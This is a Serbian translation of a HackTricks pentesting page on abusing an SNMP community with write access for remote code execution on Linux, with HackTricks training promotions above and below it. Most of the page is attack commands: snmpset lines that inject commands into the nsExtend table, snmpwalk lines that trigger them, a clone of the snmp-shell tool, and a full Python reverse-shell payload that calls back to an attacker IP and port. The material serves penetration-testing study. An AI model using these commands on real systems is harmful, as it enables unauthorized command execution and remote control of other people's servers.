SNMP RCE

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

SNMP RCE

SNMP može biti iskorišćen od strane napadača ako administrator previdi njegovu podrazumevanu konfiguraciju na uređaju ili serveru. Zloupotrebom SNMP zajednice sa dozvolama za pisanje (rwcommunity) na Linux operativnom sistemu, napadač može izvršiti komande na serveru.

Proširivanje usluga sa dodatnim komandama

Da biste proširili SNMP usluge i dodali dodatne komande, moguće je dodati nove redove u "nsExtendObjects" tabelu. To se može postići korišćenjem snmpset komande i pružanjem neophodnih parametara, uključujući apsolutnu putanju do izvršnog fajla i komandu koja će biti izvršena:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Ubacivanje komandi za izvršavanje

Ubacivanje komandi za izvršavanje na SNMP servisu zahteva postojanje i izvršivost pozvanog binarnog/skriptnog fajla. NET-SNMP-EXTEND-MIB zahteva pružanje apsolutne putanje do izvršnog fajla.

Da bi se potvrdilo izvršavanje ubačene komande, može se koristiti snmpwalk komanda za enumeraciju SNMP servisa. Izlaz će prikazati komandu i njene povezane detalje, uključujući apsolutnu putanju:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Pokretanje ubačenih komandi

Kada se ubačena komanda pročita, izvršava se. Ovo ponašanje je poznato kao run-on-read(). Izvršenje komande može se posmatrati tokom čitanja snmpwalk.

Dobijanje server ljuske pomoću SNMP-a

Da biste preuzeli kontrolu nad serverom i dobili server ljusku, može se koristiti Python skripta koju je razvio mxrch sa adrese https://github.com/mxrch/snmp-shell.git.

Alternativno, može se ručno kreirati reverzna ljuska ubacivanjem određene komande u SNMP. Ova komanda, pokrenuta snmpwalk-om, uspostavlja reverznu vezu ljuske sa napadačevim računarom, omogućavajući kontrolu nad žrtvinim računarom. Možete instalirati prethodne uslove za pokretanje ovoga:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ili obrnuti shell:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated